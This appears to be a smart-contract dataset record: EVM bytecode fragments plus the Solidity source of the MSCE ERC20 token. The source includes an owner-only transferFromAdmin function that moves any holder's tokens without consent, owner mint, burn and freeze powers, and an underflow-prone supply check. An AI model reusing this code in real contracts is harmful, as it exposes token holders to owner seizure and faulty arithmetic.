5b906000526020600020906005020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561152657600080fd5b3460048281548110151561153657fe5b90600052602060002090600e02016003015414151561155457600080fd5b3360058281548110151561156457fe5b906000526020600020906005020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550346004828154811015156115c357fe5b90600052602060002090600e02016007018190555060026004828154811015156115e957fe5b90600052602060002090600e020160080160006101000a81548160ff0219169083600381111561161557fe5b02179055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116c657506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116d157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177357600080fd5b6006600084815260200190815260200160002054905060048181548110151561179857fe5b90600052602060002090600e0201600d0160009054906101000a900460ff1615156117c257600080fd5b62015180820242016004828154811015156117d957fe5b90600052602060002090600e0201600c0181905550505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061189b57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156118a657600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194857600080fd5b600084141561196757611964888a612c6f90919063ffffffff16565b98505b6004805480919060010161197b9190612c8d565b9050600580548091906001016119919190612cbf565b508b6004828154811015156119a257fe5b90600052602060002090600e020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508a600482815481101515611a0157fe5b90600052602060002090600e020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555089600482815481101515611a6057fe5b90600052602060002090600e020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555088600482815481101515611abf57fe5b90600052602060002090600e02016003018190555087600482815481101515611ae457fe5b90600052602060002090600e0201600401819055506201518083024201600482815481101515611b1057fe5b90600052602060002090600e0201600c018190555081600482815481101515611b3557fe5b90600052602060002090600e0201600d0160006101000a81548160ff02191690831515021790555042600482815481101515611b6d57fe5b90600052602060002090600e02016005018190555084600482815481101515611b9257fe5b90600052602060002090600e0201600a019080519060200190611bb6929190612cf1565b506000600482815481101515611bc857fe5b90600052602060002090600e020160080160006101000a81548160ff02191690836003811115611bf457fe5b02179055506000600482815481101515611c0a57fe5b90600052602060002090600e02016007018190555086600482815481101515611c2f57fe5b90600052602060002090600e0201600b018190555085600482815481101515611c5457fe5b90600052602060002090600e0201600901819055508060066000888152602001908152602001600020819055506000600582815481101515611c9257fe5b906000526020600020906005020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600582815481101515611cf257fe5b906000526020600020906005020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600582815481101515611d5257fe5b906000526020600020906005020160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600582815481101515611db257fe5b906000526020600020906005020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600582815481101515611e1257fe5b906000526020600020906005020160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060008060066000888152602001908152602001600020549050600581815481101515611ee857fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600582815481101515611f2957fe5b906000526020600020906005020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600583815481101515611f6a57fe5b906000526020600020906005020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600584815481101515611fab57fe5b906000526020600020906005020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600585815481101515611fec57fe5b906000526020600020906005020160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955095509550955095505091939590929450565b60008060066000848152602001908152602001600020549150600060048381548110151561205c57fe5b90600052602060002090600e0201600701541180156120be57506002600381111561208357fe5b60048381548110151561209257fe5b90600052602060002090600e020160080160009054906101000a900460ff1660038111156120bc57fe5b145b15156120c957600080fd5b6004828154811015156120d857fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561219d573360058381548110151561214d57fe5b906000526020600020906005020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6004828154811015156121ac57fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612271573360058381548110151561222157fe5b906000526020600020906005020160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60048281548110151561228057fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561234557336005838154811015156122f557fe5b906000526020600020906005020160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6000905060058281548110151561235857fe5b906000526020600020906005020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166004838154811015156123af57fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156124065780806001019150505b60058281548110151561241557fe5b906000526020600020906005020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660048381548110151561246c57fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156124c35780806001019150505b6005828154811015156124d257fe5b906000526020600020906005020160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660048381548110151561252957fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156125805780806001019150505b6002811015156128f85760048281548110151561259957fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6004848154811015156125f357fe5b90600052602060002090600e02016004015460048581548110151561261457fe5b90600052602060002090600e020160030154039081150290604051600060405180830381858888f19350505050158015612652573d6000803e3d6000fd5b5060048281548110151561266257fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fb84bdcbbb2d10fbf5aee51df68c6d83f7700948158de89ec136b5bfcd000c3ff6004858154811015156126f157fe5b90600052602060002090600e02016004015460048681548110151561271257fe5b90600052602060002090600e020160030154036040518082815260200191505060405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048481548110151561278557fe5b90600052602060002090600e0201600401549081150290604051600060405180830381858888f193505050501580156127c2573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fb84bdcbbb2d10fbf5aee51df68c6d83f7700948158de89ec136b5bfcd000c3ff60048581548110151561284357fe5b90600052602060002090600e0201600401546040518082815260200191505060405180910390a3600060048381548110151561287b57fe5b90600052602060002090600e02016007018190555060036004838154811015156128a157fe5b90600052602060002090600e020160080160006101000a81548160ff021916908360038111156128cd57fe5b0217905550426004838154811015156128e257fe5b90600052602060002090600e0201600601819055505b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295957600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129f957600080fd5b600480549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a5f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a9b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600080600080600660008a8152602001908152602001600020549050600481815481101515612b1057fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600482815481101515612b5157fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600483815481101515612b9257fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600484815481101515612bd357fe5b90600052602060002090600e020160030154600485815481101515612bf457fe5b90600052602060002090600e020160050154600486815481101515612c1557fe5b90600052602060002090600e020160080160009054906101000a900460ff16600487815481101515612c4357fe5b90600052602060002090600e0201600b0154975097509750975097509750975050919395979092949650565b6000808284019050838110151515612c8357fe5b8091505092915050565b815481835581811115612cba57600e0281600e028360005260206000209182019101612cb99190612d71565b5b505050565b815481835581811115612cec57600502816005028360005260206000209182019101612ceb9190612e7d565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612d3257805160ff1916838001178555612d60565b82800160010185558215612d60579182015b82811115612d5f578251825591602001919060010190612d44565b5b509050612d6d9190612f5f565b5090565b612e7a91905b80821115612e7657600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600382016000905560048201600090556005820160009055600682016000905560078201600090556008820160006101000a81549060ff02191690556009820160009055600a82016000612e499190612f84565b600b820160009055600c820160009055600d820160006101000a81549060ff021916905550600e01612d77565b5090565b90565b612f5c91905b80821115612f5857600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600501612e83565b5090565b90565b612f8191905b80821115612f7d576000816000905550600101612f65565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612faa5750612fc9565b601f016020900490600052602060002090810190612fc89190612f5f565b5b505600a165627a7a723058201e442778d96f5f3c111f036c08c1fc6e1a6a9a3d02a989926597ab0c98c12ad00029
{"success": true, "error": null, "results": {}}
5,849
0x2efb0309f41648a9faa935e189e2c8ff763bce75
pragma solidity ^0.4.18; /** * @title Global Mobile Industry Service Ecosystem Chain * @dev Developed By Jack 5/15 2018 * @dev contact:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a3c9c2c0c88dc8ccc6e3c4cec2cacf8dc0ccce">[email&#160;protected]</a> */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function isOwner() internal view returns(bool success) { if (msg.sender == owner) return true; return false; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token. */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MSCE is Ownable, StandardToken { using SafeMath for uint256; uint8 public constant TOKEN_DECIMALS = 18; string public name = "Mobile Ecosystem"; string public symbol = "MSCE"; uint8 public decimals = TOKEN_DECIMALS; uint256 public totalSupply = 500000000 *(10**uint256(TOKEN_DECIMALS)); uint256 public soldSupply = 0; uint256 public sellSupply = 0; uint256 public buySupply = 0; bool public stopSell = true; bool public stopBuy = false; uint256 public crowdsaleStartTime = block.timestamp; uint256 public crowdsaleEndTime = 1526831999; uint256 public crowdsaleTotal = 2000*40000*(10**18); uint256 public buyExchangeRate = 40000; uint256 public sellExchangeRate = 100000; address public ethFundDeposit; bool public allowTransfers = true; mapping (address => bool) public frozenAccount; bool public enableInternalLock = true; mapping (address => bool) public internalLockAccount; mapping (address => uint256) public releaseLockAccount; event FrozenFunds(address target, bool frozen); event IncreaseSoldSaleSupply(uint256 _value); event DecreaseSoldSaleSupply(uint256 _value); function MSCE() public { balances[msg.sender] = totalSupply; ethFundDeposit = msg.sender; allowTransfers = true; } function _isUserInternalLock() internal view returns (bool) { return getAccountLockState(msg.sender); } function increaseSoldSaleSupply (uint256 _value) onlyOwner public { require (_value + soldSupply < totalSupply); soldSupply = soldSupply.add(_value); IncreaseSoldSaleSupply(_value); } function decreaseSoldSaleSupply (uint256 _value) onlyOwner public { require (soldSupply - _value > 0); soldSupply = soldSupply.sub(_value); DecreaseSoldSaleSupply(_value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] = balances[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function destroyToken(address target, uint256 amount) onlyOwner public { balances[target] = balances[target].sub(amount); totalSupply = totalSupply.sub(amount); Transfer(target, this, amount); Transfer(this, 0, amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setEthFundDeposit(address _ethFundDeposit) onlyOwner public { require(_ethFundDeposit != address(0)); ethFundDeposit = _ethFundDeposit; } function transferETH() onlyOwner public { require(ethFundDeposit != address(0)); require(this.balance != 0); require(ethFundDeposit.send(this.balance)); } function setExchangeRate(uint256 _sellExchangeRate, uint256 _buyExchangeRate) onlyOwner public { sellExchangeRate = _sellExchangeRate; buyExchangeRate = _buyExchangeRate; } function setExchangeStatus(bool _stopSell, bool _stopBuy) onlyOwner public { stopSell = _stopSell; stopBuy = _stopBuy; } function setName(string _name) onlyOwner public { name = _name; } function setSymbol(string _symbol) onlyOwner public { symbol = _symbol; } function setAllowTransfers(bool _allowTransfers) onlyOwner public { allowTransfers = _allowTransfers; } function transferFromAdmin(address _from, address _to, uint256 _value) onlyOwner public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function setEnableInternalLock(bool _isEnable) onlyOwner public { enableInternalLock = _isEnable; } function lockInternalAccount(address _target, bool _lock, uint256 _releaseTime) onlyOwner public { require(_target != address(0)); internalLockAccount[_target] = _lock; releaseLockAccount[_target] = _releaseTime; } function getAccountUnlockTime(address _target) public view returns(uint256) { return releaseLockAccount[_target]; } function getAccountLockState(address _target) public view returns(bool) { if(enableInternalLock && internalLockAccount[_target]){ if((releaseLockAccount[_target] > 0)&&(releaseLockAccount[_target]<block.timestamp)){ return false; } return true; } return false; } function internalSellTokenFromAdmin(address _to, uint256 _value, bool _lock, uint256 _releaseTime) onlyOwner public returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); soldSupply = soldSupply.add(_value); sellSupply = sellSupply.add(_value); Transfer(owner, _to, _value); lockInternalAccount(_to, _lock, _releaseTime); return true; } /***************************************************/ /* BASE Functions */ /***************************************************/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (!isOwner()) { require (allowTransfers); require(!frozenAccount[_from]); require(!frozenAccount[_to]); require(!_isUserInternalLock()); } return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { if (!isOwner()) { require (allowTransfers); require(!frozenAccount[msg.sender]); require(!frozenAccount[_to]); require(!_isUserInternalLock()); } return super.transfer(_to, _value); } function () internal payable{ uint256 currentTime = block.timestamp; require((currentTime>crowdsaleStartTime)&&(currentTime<crowdsaleEndTime)); require(crowdsaleTotal>0); require(buy()); crowdsaleTotal = crowdsaleTotal.sub(msg.value.mul(buyExchangeRate)); } function buy() payable public returns (bool){ uint256 amount = msg.value.mul(buyExchangeRate); require(!stopBuy); require(amount <= balances[owner]); balances[owner] = balances[owner].sub(amount); balances[msg.sender] = balances[msg.sender].add(amount); soldSupply = soldSupply.add(amount); buySupply = buySupply.add(amount); Transfer(owner, msg.sender, amount); return true; } function sell(uint256 amount) public { uint256 ethAmount = amount.div(sellExchangeRate); require(!stopSell); require(this.balance >= ethAmount); require(ethAmount >= 1); require(balances[msg.sender] >= amount); require(balances[owner] + amount > balances[owner]); require(!frozenAccount[msg.sender]); require(!_isUserInternalLock()); balances[owner] = balances[owner].add(amount); balances[msg.sender] = balances[msg.sender].sub(amount); soldSupply = soldSupply.sub(amount); sellSupply = sellSupply.add(amount); Transfer(msg.sender, owner, amount); msg.sender.transfer(ethAmount); } function setCrowdsaleStartTime(uint256 _crowdsaleStartTime) onlyOwner public { crowdsaleStartTime = _crowdsaleStartTime; } function setCrowdsaleEndTime(uint256 _crowdsaleEndTime) onlyOwner public { crowdsaleEndTime = _crowdsaleEndTime; } function setCrowdsaleTotal(uint256 _crowdsaleTotal) onlyOwner public { crowdsaleTotal = _crowdsaleTotal; } }
0x60606040526004361061027c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062ebc96e146102f457806306fdde0314610317578063095ea7b3146103a55780630967cff0146103ff5780630d27172014610422578063149f2fdb1461049b57806318160ddd146104c45780631d545d09146104ed5780631d8c7c20146105165780632185810b1461058457806323b872dd146105b1578063308f505b1461062a578063313ce567146106535780634179988314610682578063493a7209146106a55780634b0e2c90146106d25780635a4071fe146106ff5780635b7f415c1461074c57806361aebe591461077b57806366188463146107a857806370a082311461080257806379c650681461084f57806388f7c6d6146108915780638da5cb5b146108c15780639061a6e91461091657806395d89b41146109395780639b1ad792146109c75780639bcf735214610a095780639dec365e14610a2e578063a4b03f5214610a51578063a6f2ae3a14610aa2578063a81c3bdf14610ac4578063a9059cbb14610b19578063aff1e0de14610b73578063b414d4b614610b9c578063b51dfa9d14610bed578063b84c824614610c16578063c47f002714610c73578063c92015f614610cd0578063d622634714610d1d578063d73dd62314610d6a578063d86f8ccd14610dc4578063d903744114610e15578063db1366bf14610e4e578063dd62ed3e14610e77578063df50afa414610ee3578063e28d717b14610f08578063e2fc421d14610f1d578063e4849b3214610f46578063e724529c14610f69578063f2fde38b14610fad578063f55ecf0614610fe6578063fa2299ee14611012575b6000429050600c54811180156102935750600d5481105b151561029e57600080fd5b6000600e541115156102af57600080fd5b6102b761103b565b15156102c257600080fd5b6102eb6102da600f543461131090919063ffffffff16565b600e5461134b90919063ffffffff16565b600e8190555050005b34156102ff57600080fd5b6103156004808035906020019091905050611364565b005b341561032257600080fd5b61032a6113c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036a57808201518184015260208101905061034f565b50505050905090810190601f1680156103975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b057600080fd5b6103e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611467565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104206004808035906020019091905050611559565b005b341561042d57600080fd5b610481600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115be565b604051808215151515815260200191505060405180910390f35b34156104a657600080fd5b6104ae61183f565b6040518082815260200191505060405180910390f35b34156104cf57600080fd5b6104d7611845565b6040518082815260200191505060405180910390f35b34156104f857600080fd5b61050061184b565b6040518082815260200191505060405180910390f35b341561052157600080fd5b61056a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080351515906020019091908035906020019091905050611851565b604051808215151515815260200191505060405180910390f35b341561058f57600080fd5b610597611b98565b604051808215151515815260200191505060405180910390f35b34156105bc57600080fd5b610610600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611bab565b604051808215151515815260200191505060405180910390f35b341561063557600080fd5b61063d611cb1565b6040518082815260200191505060405180910390f35b341561065e57600080fd5b610666611cb7565b604051808260ff1660ff16815260200191505060405180910390f35b341561068d57600080fd5b6106a36004808035906020019091905050611cca565b005b34156106b057600080fd5b6106b8611d8d565b604051808215151515815260200191505060405180910390f35b34156106dd57600080fd5b6106e5611da0565b604051808215151515815260200191505060405180910390f35b341561070a57600080fd5b61074a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091908035906020019091905050611db3565b005b341561075757600080fd5b61075f611eea565b604051808260ff1660ff16815260200191505060405180910390f35b341561078657600080fd5b61078e611eef565b604051808215151515815260200191505060405180910390f35b34156107b357600080fd5b6107e8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611f02565b604051808215151515815260200191505060405180910390f35b341561080d57600080fd5b610839600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612193565b6040518082815260200191505060405180910390f35b341561085a57600080fd5b61088f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506121dc565b005b341561089c57600080fd5b6108bf6004808035151590602001909190803515159060200190919050506123a0565b005b34156108cc57600080fd5b6108d4612433565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092157600080fd5b6109376004808035906020019091905050612458565b005b341561094457600080fd5b61094c61251c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561098c578082015181840152602081019050610971565b50505050905090810190601f1680156109b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156109d257600080fd5b610a07600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506125ba565b005b3415610a1457600080fd5b610a2c6004808035151590602001909190505061277e565b005b3415610a3957600080fd5b610a4f60048080359060200190919050506127f6565b005b3415610a5c57600080fd5b610a88600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061285b565b604051808215151515815260200191505060405180910390f35b610aaa61103b565b604051808215151515815260200191505060405180910390f35b3415610acf57600080fd5b610ad761287b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b2457600080fd5b610b59600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506128a1565b604051808215151515815260200191505060405180910390f35b3415610b7e57600080fd5b610b866129a5565b6040518082815260200191505060405180910390f35b3415610ba757600080fd5b610bd3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506129ab565b604051808215151515815260200191505060405180910390f35b3415610bf857600080fd5b610c006129cb565b6040518082815260200191505060405180910390f35b3415610c2157600080fd5b610c71600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129d1565b005b3415610c7e57600080fd5b610cce600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612a46565b005b3415610cdb57600080fd5b610d07600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612abb565b6040518082815260200191505060405180910390f35b3415610d2857600080fd5b610d54600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612b04565b6040518082815260200191505060405180910390f35b3415610d7557600080fd5b610daa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612b1c565b604051808215151515815260200191505060405180910390f35b3415610dcf57600080fd5b610dfb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612d18565b604051808215151515815260200191505060405180910390f35b3415610e2057600080fd5b610e4c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612e32565b005b3415610e5957600080fd5b610e61612f0d565b6040518082815260200191505060405180910390f35b3415610e8257600080fd5b610ecd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612f13565b6040518082815260200191505060405180910390f35b3415610eee57600080fd5b610f0660048080351515906020019091905050612f9a565b005b3415610f1357600080fd5b610f1b613012565b005b3415610f2857600080fd5b610f3061316d565b6040518082815260200191505060405180910390f35b3415610f5157600080fd5b610f676004808035906020019091905050613173565b005b3415610f7457600080fd5b610fab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506135d5565b005b3415610fb857600080fd5b610fe4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506136fa565b005b3415610ff157600080fd5b611010600480803590602001909190803590602001909190505061384f565b005b341561101d57600080fd5b6110256138bc565b6040518082815260200191505060405180910390f35b600080611053600f543461131090919063ffffffff16565b9050600b60019054906101000a900460ff1615151561107157600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156110e057600080fd5b61115381600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120981600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611261816008546138c290919063ffffffff16565b60088190555061127c81600a546138c290919063ffffffff16565b600a819055503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffff